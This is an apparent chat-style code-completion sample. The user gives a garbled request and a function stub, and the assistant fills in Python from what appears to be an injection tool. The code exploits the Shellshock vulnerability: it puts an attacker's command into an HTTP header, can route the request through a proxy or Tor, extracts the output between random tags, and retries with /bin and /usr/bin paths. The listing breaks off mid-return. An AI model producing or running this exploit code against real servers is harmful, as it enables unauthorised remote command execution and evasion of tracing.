human
Write me a the Python program you requested given the following:
Complete the below
def cmd_exec(url, cmd, cve, check_header, filename):

    ''''Check for shellshock \'shell\''
    '''
assistant
#Here is the Python program you requested.
    def check_for_shell(url, cmd, cve, check_header, filename):
        try:
            TAG = ''.join((random.choice(string.ascii_uppercase) for i in range(6)))
            cmd = ((((('echo    ' + TAG) + '$(') + cmd) + ')') + TAG)
            payload = shellshock_exploitation(cve, cmd)
            info_msg = (("Executing    the    '" + cmd) + "'    command...    ")
            if (settings.VERBOSITY_LEVEL == 1):
                sys.stdout.write(('\n' + settings.print_info_msg(info_msg)))
            elif (settings.VERBOSITY_LEVEL > 1):
                sys.stdout.write(settings.print_info_msg(info_msg))
            sys.stdout.flush()
            if (settings.VERBOSITY_LEVEL >= 1):
                sys.stdout.write((('\n' + settings.print_payload(payload)) + '\n'))
            header = {check_header: payload}
            request = urllib2.Request(url, None, header)
            log_http_headers.do_check(request)
            log_http_headers.check_http_traffic(request)
            if menu.options.proxy:
                response = proxy.use_proxy(request)
            elif menu.options.tor:
                response = tor.use_tor(request)
            else:
                response = urllib2.urlopen(request)
            shell = response.read().rstrip().replace('\n', '    ')
            shell = re.findall(((('' + TAG) + '(.*)') + TAG), shell)
            shell = ''.join(shell)
            return (shell, payload)
        except urllib2.URLError as err_msg:
            print ('\n' + settings.print_critical_msg(err_msg))
            sys.exit(0)
    (shell, payload) = check_for_shell(url, cmd, cve, check_header, filename)
    if (len(shell) == 0):
        cmd = ('/bin/' + cmd)
        (shell, payload) = check_for_shell(url, cmd, cve, check_header, filename)
        if (len(shell) > 0):
            pass
        elif (len(shell) == 0):
            cmd = ('/usr' + cmd)
            (shell, payload) = check_for_shell(url, cmd, cve, check_header, filename)
            if (len(shell) > 0):
                pass
    return (shell,...